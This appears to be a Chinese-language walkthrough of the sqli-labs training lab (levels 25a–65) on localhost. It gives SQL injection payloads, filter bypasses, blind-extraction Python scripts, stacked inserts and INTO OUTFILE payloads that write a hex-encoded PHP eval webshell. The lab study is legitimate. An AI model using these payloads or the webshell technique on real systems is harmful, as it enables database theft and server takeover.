url_template = "http://localhost/useful/sqlilabs/Less-25a/?id=0 || ascii(substr(({0}),{1},1))={2} %23"
chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_,-.@&%/^!~"
url_length = "http://localhost/useful/sqlilabs/Less-25a/?id=0 || length(({0})) ={1} %23"
Value ="Dumb"

def get_result_length(payload,Value):
for n in range(1,100):
url = url_length.format(payload,n)
#print(url)
response = requests.get(url)
if Value in response.text:
print("……data length is :" + str(n))
return n


def get_db_name(data_length,payload,Value):
for i in range(1,data_length):
for char in chars:
url = url_template.format(payload,i,ord(char))
response = requests.get(url)
if Value in response.text:
global result
result += char
#print("…… data is :"+ result)
break

payload = "database() "


data_length = get_result_length(payload,Value)+1
get_db_name(data_length,payload,Value )
print("…… data is :"+ result)

0x26

1
2
3
4
5
6
7
8
9
10
11
12
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}

1
http://localhost/useful/sqlilabs/Less-26/?id=0'%a0||%a0extractvalue(0x0a,concat(0x0a,(select %a0database())))%a0||'1

0x26a

无法报错注入

使用布尔注入

1
http://localhost/useful/sqlilabs/Less-26a/?id=1')%a0^(length(database()) =8)^('1

这里我使用了异或^ true ^ judge ^ true === judge

0x27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNIONc
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}


1
http://localhost/useful/sqlilabs/Less-27/?id=100'uniunionon%a0SeleCt%a01,database(),'1

0x27a

"闭合,且无法使用报错

1
http://localhost/useful/sqlilabs/Less-27a/?id=100000"uniunionon%a0SeleCt%a01,database(),"1

0x28

1
2
3
4
5
6
7
8
9
10
11
12
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}

1
http://localhost/useful/sqlilabs/Less-28/?id=100000')%a0union%a0SeleCt%a01,database(),('1

0x28a

1
2
3
4
5
6
7
8
9
10
11
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}

payload

28题的payload

0x29

现行sqli-labs版本上,作者利用java_implimentation 来模拟tomcat 和apache2服务器对Query_string 的不同处理。

真正题目在login.php ,不是在index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);


foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}

}

}

同时id1 只能传数值型参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
whitelist($id1);
....
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if($match)
{
//echo "you are good";
//return $match;
}
else
{
header('Location: hacked.php');
//echo "you are bad";
}
}

29、30、31差不多

payload

利用Tomcat、apache2对Query_String 的不同操作,tomcat取第一个值,apache2取最后一个值,来绕过。

1
http://localhost/useful/sqlilabs/Less-29/login.php?id=1&id=2' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1'='1

0x30

payload:

1
http://localhost/useful/sqlilabs/Less-30/login.php?id=1&id=2" and sleep(10) and '1'="1

与29一样

0x31

1
http://localhost/useful/sqlilabs/Less-31/login.php?id=1&id=2") and sleep(5) and '1'=("1

32 ~ 37 宽字节注入

0x32

1
http://localhost/useful/sqlilabs/Less-32/?id=100%df' union select 1 ,user(),3--+

0x33

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}

// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

1
http://localhost/useful/sqlilabs/Less-33/?id=100%df' union select 1 ,user(),3--+

0x34

post传值

1
2
3
4
5
6
7
uname=admin%df' or updatexml(1,concat(0x7e,(select 
group_concat(table_name) from information_schema.TABLES where TABLE_SCHEMA=database()),0x7e),1)#&passwd=1&submit=Submit



XPATH syntax error: '~emails,referers,uagents,users~'

0x35

payload

😐没有闭合,可以直接联合查找

1
2
http://localhost/useful/sqlilabs/Less-35/?id=100  union select  group_concat(schema_name) ,group_concat(schema_name) , null from information_schema.schemata  limit 0,1--+

0x36

%EF%BF%BD + \

%EF%BF%BD%5C

�\

1
http://localhost/useful/sqlilabs/Less-36/?id= -1%EF%BF%BD%27union%20select%201,user(),3--+

使用mysql_real_esacpe_string() 的安全加固,Mysql_set_charset(‘gbk’,’$conn’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
//来源 https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
function check_input($value)
{
// 去除斜杠
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// 如果不是数字则加引号
if (!is_numeric($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
return $value;
}

$con = mysql_connect("localhost", "hello", "321");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}

// 进行安全的 SQL
$user = check_input($_POST['user']);
$pwd = check_input($_POST['pwd']);
$sql = "SELECT * FROM users WHERE
user=$user AND password=$pwd";

mysql_query($sql);

mysql_close($con);
?>

0x37

除了34的报错,可以利用 36的�'来绕过

注意�' 是由%EF%BF%BD%27 url_decode而来

1
passwd=123&submit=Submit&uname=%EF%BF%BD%27+or+1%3D1%23

Stacked

0x38

这题因为堆叠注入无法会显,所以可以试试盲注和输出文件

1
2
http://localhost/useful/sqlilabs/Less-38/?id=1' --+
http://localhost/useful/sqlilabs/Less-38/?id=1'; select 0x3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e into outfile "D:\\phpstudy_pro\\WWW\\cmd.php";#

0x39

1
http://localhost/useful/sqlilabs/Less-39/index.php?id=1; insert into users(id,username,password) values (1333,'tey','ps'); --+ 

0x40

insert的时候一直以为,自己后面写错了导致无法insert,哪知道前边闭合写着写着少了单引号😶 。

为什么用24的图?

mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。

参数 描述
connection 必需。规定要使用的 MySQL 连接。
query 必需。规定一个或多个查询,用分号进行分隔。
返回值: 如果第一个查询失败则返回 FALSE。
PHP 版本: 5+
1
http://localhost/useful/sqlilabs/Less-40/?id=1');insert into users values(100,'tx','tx')%23

0x41

1
2
3
4
http://localhost/useful/sqlilabs/Less-41/?id=1 --+

http://localhost/useful/sqlilabs/Less-41/?id=1; insert into users(id,username,password) values (1121,'tey','ps'); --+

0x42

根据 acc-create.php 提示这题需要自己insert 一个账户

在login.php

1
2
3
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://localhost/useful/sqlilabs/Less-42/login.php

login_user=1
&login_password=1'; insert into users(id,username,password) values (2222,'222','222');--+
&mysubmit=Login

#在security数据库中

mysql> select * from users where id =2222;
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 2222 | 222 | 222 |
+------+----------+----------+
1 row in set (0.00 sec)

0x43

与42差不多

区别在:

1
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

post:

1
2
3
login_user=1
&login_password=1'); insert into users(id,username,password) values (2333,'2333','2333');--+
&mysubmit=Login

0x44

42payload

0x45

43payload

0x46

涨姿势 n++ ,头一次遇到order by 处的sqli

报错注入

1
http://localhost/useful/sqlilabs/Less-46/?sort=(extractvalue(0x0a,concat(0x0a,(select database()))))

布尔注入

通过查看rand(1) rand(0)的不同查询结果判断

1
http://localhost/useful/sqlilabs/Less-46/?sort=rand(ascii(left(database(),1))=ascii('s'))

延时注入

1
http://localhost/useful/sqlilabs/Less-46/?sort=if(ascii(left(database(),1))=ascii('s'),sleep(5),null)

outfile

1
http://localhost/useful/sqlilabs/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\46.txt"

or

1
http://localhost/useful/sqlilabs/Less-46/?sort=1 into outfile "D:\\phpstudy_pro\\WWW\\shell.php" fields terminated by 0x3c3f70687020406576616c28245f4745545b27636d64275d29203f3e 

shell.php

0x47

与46相仿,更改闭合方式。

1
http://localhost/useful/sqlilabs/Less-47/?sort=1' and 1='1

0x48

除去报错注入

0x49

类似47题,且无报错

0x50

order by stacked injection

payload :

1
http://localhost/useful/sqlilabs/Less-50/?sort=1;insert into users values(39,'39','30');

0x51

1
http://localhost/useful/sqlilabs/Less-51/?sort=1';insert into users values(108, "xz" ,"xz"); select '1
1
2
3
4
5
6
7
mysql> select * from users where id =108;
+-----+----------+----------+
| id | username | password |
+-----+----------+----------+
| 108 | xz | xz |
+-----+----------+----------+
1 row in set (0.00 sec)

0x52

1
2
3
4
5
6
7
8
9
http://localhost/useful/sqlilabs/Less-52/?sort=1; insert into users values(110, "xzas" ,"xzas");--+

mysql> select * from users where id =110;
+-----+----------+----------+
| id | username | password |
+-----+----------+----------+
| 110 | xzas | xzas |
+-----+----------+----------+
1 row in set (0.00 sec)

0x53

方法一致,但无报错信息

Challenge

The objective of this challenge is to dump the (secret key) from only random table from Database (‘CHALLENGES’)\ in Less than 10 attempts
For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.

0x54

0x01

发现有错误反馈….这个测试就有可能浪费3次机会

1
http://localhost/useful/sqlilabs/Less-54/?id=1'

闭合方式为'$id'

0x02

查询列数

1
2
http://localhost/useful/sqlilabs/Less-54/?id=1' order by 3 --+
http://localhost/useful/sqlilabs/Less-54/?id=1' order by 4 --+
0x03
1
2
3
4
5
6
http://localhost/useful/sqlilabs/Less-54/?id=1'  union select null,group_concat(table_name),null from information_schema.tables where table_schema ='challenges' 
limit 1,1 --+

Your Login name:8wa5ejm0ss
Your Password:

0x04
1
2
3
4
5
http://localhost/useful/sqlilabs/Less-54/?id=1'  union select null,group_concat(column_name),null from information_schema.columns where table_schema ='challenges'  and table_name ='8wa5ejm0ss'
limit 1,1 --+

Your Login name:id,sessid,secret_J953,tryy
Your Password:
0x05
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
http://localhost/useful/sqlilabs/Less-54/?id=-1'  union select null,group_concat(secret_J953),null from 8wa5ejm0ss
--+


Your Login name:CLo9ApzqNn00JE7qGL9p9VwI
Your Password:


http://localhost/useful/sqlilabs/Less-54/?id=-1' union select null,group_concat(sessid),null from 8wa5ejm0ss
--+




Your Login name:f50a6c02a3fc5a3a5d4d9391f05f3efc
Your Password:

0x55

1
http://localhost/useful/sqlilabs/Less-55/?id=1) and 1=(1

手动爆破闭合方式后的步骤,与54一样。

0x56

与54、55相似,同时还可以根据上面的记录,减去爆破次数。

0x57

1
2
http://localhost/useful/sqlilabs/Less-57/?id=1"  union select null,group_concat(table_name),null from information_schema.tables where table_schema ='challenges' 
limit 1,1 --+

0x58

1
2
3
http://localhost/useful/sqlilabs/Less-58/?id=1' union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+

XPATH syntax error: ' ppz1yfhunl'

0x59

1
2
3
4
5
6
7
http://localhost/useful/sqlilabs/Less-59/?id=1 union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+



XPATH syntax error: ' dlzf6nx0jj'


0x60

闭合方式不同

1
2
3
http://localhost/useful/sqlilabs/Less-60/?id=1") union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+

XPATH syntax error: ' dlzf6nx0jj'

0x61

……. 原来还有(($id))的闭合方式

1
2
3
http://localhost/useful/sqlilabs/Less-61/?id=1')) union select null,extractvalue(0x0a,concat(0x0a,(select group_concat(table_name) from information_schema.tables where table_schema ='challenges' ))) ,null--+

XPATH syntax error: ' gzd67bxhax'

0x62

这个测试次数怕不是布尔或延时,130那肯定不能是爆破

0x01 分析
参数 长度 特性
database() || “challenges 10 已知
table_name 10 小写+数字
group_concat(column_name) 26 但格式固定:大写字母+数字,如id,sessid,secret_J953,tryy
key 24位长度 大小写+数字 === 花式吊打
0x02 code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
import requests
import time

# 0->48 || 9->57 || a->97 ||z->122 || A=>65 || Z->90
# table_name

url = '''http://localhost/useful/sqlilabs/Less-62/index.php?id=1') and if((ascii(substr(({0} ),{1},1)) = '{2}'),sleep(3),NULL); %23'''
url_1 = '''http://localhost/useful/sqlilabs/Less-62/index.php?id=1') and if((ascii(substr(({0} ),{1},1)) > '{2}'),sleep(3),NULL); %23'''
url_2 = '''http://localhost/useful/sqlilabs/Less-62/index.php?id=1') and if((ascii(substr(({0} ),{1},1)) < '{2}'),sleep(3),NULL); %23'''

table_name = ""
table_name_payload ="select group_concat(table_name) from information_schema.tables where table_schema =0x6368616c6c656e676573"

count = 0

def get_respone(url):
global count
count = count + 1
if count >130:
print("game over")
starttime = time.time()
html = requests.get(url)
if time.time() -starttime >= 2:
return True
else:
return False

def get_table(payload,low,high):
global table_name
for n in range(low,high):
url_data = url_1.format(payload,n,60)
print(url_data)
if(get_respone(url_data)):
low = 97
high = 123
mid = (low + high) // 2
while low <= high:
if get_respone(url_2.format(payload,n,mid)):
#print(url_2.format(payload,n,mid))
high = mid - 1
mid = (low + high) //2
elif get_respone(url_1.format(payload,n,mid)):
#print(url_1.format(payload,n,mid))
low = mid + 1
mid = (low + high) //2
else:
print(chr(mid))
table_name = table_name + chr(mid)
break
else:
low = 48
high = 57
mid = (low + high) // 2
while low <= high:
if get_respone(url_2.format(payload,n,mid)):
high = mid - 1
mid = (low + high) //2
elif get_respone(url_1.format(payload,n,mid)):
low = mid + 1
mid = (low + high) //2
else:
print(chr(mid))
table_name = table_name + chr(mid)
break
print("[table_name]:"+table_name)

get_table(table_name_payload,1,11)


'''
table_name_bytes = bytes.fromhex(table_name)
table_name_tmp = ''.join(['%02x' % b for b in table_name_bytes])
table_name_hex = '0x'+table_name_tmp
'''

coloumn_name_payload = "select group_concat(column_name) from information_schema.columns where table_schema = 0x6368616c6c656e676573 and table_name = "+table_name_hex
coloumn_name = ""

print(coloumn_name_payload)




def get_column(payload,low,high):
global coloumn_name
for n in range(low,high):
url_data = url_1.format(payload,n,60)
print(url_data)
if(get_respone(url_data)):
low = 65
high = 90
mid = (low + high) // 2
while low <= high:
if get_respone(url_2.format(payload,n,mid)):
#print(url_2.format(payload,n,mid))
high = mid - 1
mid = (low + high) //2
elif get_respone(url_1.format(payload,n,mid)):
#print(url_1.format(payload,n,mid))
low = mid + 1
mid = (low + high) //2
else:
#print(chr(mid))
coloumn_name = coloumn_name + chr(mid)
break
else:
low = 48
high = 57
mid = (low + high) // 2
while low <= high:
if get_respone(url_2.format(payload,n,mid)):
high = mid - 1
mid = (low + high) //2
elif get_respone(url_1.format(payload,n,mid)):
low = mid + 1
mid = (low + high) //2
else:
#print(chr(mid))
coloumn_name = coloumn_name + chr(mid)
break
print("[column_name]:id,sessid,secret_"+coloumn_name+",tryy")
get_column(coloumn_name_payload,18,22)

print("[count]:"+ str(count))



后面几道题也只是闭合方式的不同。

0x63

0x64

0x65

参考:

sqli-labs 天📕

延时盲注

盲注脚本

mysql常见绕过方法

sky的笔记

后记

通宵刷完,感觉是偏向于打下基础的实验室,感觉还有一些sqli的知识点要补充,像dnslog与sql这类比较不常见的,以及还要熟练掌握sqlmap。

这周待完成完毛概,上周学习报告,以及wp复现,如果有空还希望初识node.js的常见漏洞和开发问题。

CATALOG
  1. 1. SQL注入概述
    1. 1.1. SQL是什么
    2. 1.2. 基本知识点
      1. 1.2.1. 常见的命令
      2. 1.2.2. 系统函数
      3. 1.2.3. 字符串连函数
      4. 1.2.4. union 操作符
      5. 1.2.5. 万能密码与 sql中的逻辑运算
      6. 1.2.6. limit
      7. 1.2.7. 数字型注入判断
      8. 1.2.8. 隐式类型转换| 弱类型转换
      9. 1.2.9. 基本注入流程
      10. 1.2.10. HPP -HTTP Parameter Pollution
      11. 1.2.11. 盲注
        1. 1.2.11.1. 延时
        2. 1.2.11.2. 报错
        3. 1.2.11.3. 布尔
      12. 1.2.12. 绕过
        1. 1.2.12.1. 双写字符
        2. 1.2.12.2. or and
        3. 1.2.12.3. 空格
        4. 1.2.12.4. 其他
      13. 1.2.13. 堆叠注入
      14. 1.2.14. order by 处的注入
  2. 2. SQLI-Labs
    1. 2.1. basic
      1. 2.1.1. 0x01
      2. 2.1.2. 0x02
      3. 2.1.3. 0x03
      4. 2.1.4. 0x04
      5. 2.1.5. 0x05
      6. 2.1.6. 0x06
      7. 2.1.7. 0x07
      8. 2.1.8. 0x08
      9. 2.1.9. 0x09
      10. 2.1.10. 0x10
      11. 2.1.11. 0x11
      12. 2.1.12. 0x12
      13. 2.1.13. 0x13
      14. 2.1.14. 0x14
      15. 2.1.15. 0x15
      16. 2.1.16. 0x16
      17. 2.1.17. 0x17
      18. 2.1.18. 0x18
      19. 2.1.19. 0x19
      20. 2.1.20. 0x20
      21. 2.1.21. 0x21
      22. 2.1.22. 0x22
    2. 2.2. Advance
      1. 2.2.1. 0x23
      2. 2.2.2. 0x24
      3. 2.2.3. 0x25
      4. 2.2.4. 0x25a
      5. 2.2.5. 0x26
      6. 2.2.6. 0x26a
      7. 2.2.7. 0x27
      8. 2.2.8. 0x27a
      9. 2.2.9. 0x28
      10. 2.2.10.
      11. 2.2.11. 0x28a
      12. 2.2.12. 0x29
      13. 2.2.13. 0x30
      14. 2.2.14. 0x31
      15. 2.2.15. 0x32
      16. 2.2.16. 0x33
      17. 2.2.17. 0x34
      18. 2.2.18. 0x35
      19. 2.2.19. 0x36
      20. 2.2.20. 0x37
    3. 2.3. Stacked
      1. 2.3.1. 0x38
      2. 2.3.2. 0x39
      3. 2.3.3. 0x40
      4. 2.3.4. 0x41
      5. 2.3.5. 0x42
      6. 2.3.6. 0x43
      7. 2.3.7. 0x44
      8. 2.3.8. 0x45
      9. 2.3.9. 0x46
      10. 2.3.10. 0x47
      11. 2.3.11. 0x48
      12. 2.3.12. 0x49
      13. 2.3.13. 0x50
      14. 2.3.14. 0x51
      15. 2.3.15. 0x52
      16. 2.3.16. 0x53
    4. 2.4. Challenge
      1. 2.4.1. 0x54
        1. 2.4.1.0.1. 0x01
        2. 2.4.1.0.2. 0x02
        3. 2.4.1.0.3. 0x03
        4. 2.4.1.0.4. 0x04
        5. 2.4.1.0.5. 0x05
    5. 2.4.2. 0x55
    6. 2.4.3. 0x56
    7. 2.4.4. 0x57
    8. 2.4.5. 0x58
    9. 2.4.6. 0x59
    10. 2.4.7. 0x60
    11. 2.4.8. 0x61
    12. 2.4.9. 0x62
      1. 2.4.9.0.1. 0x01 分析
      2. 2.4.9.0.2. 0x02 code
  3. 2.4.10. 0x63
  4. 2.4.11. 0x64
  5. 2.4.12. 0x65
  • 3. 参考:
  • 4. 后记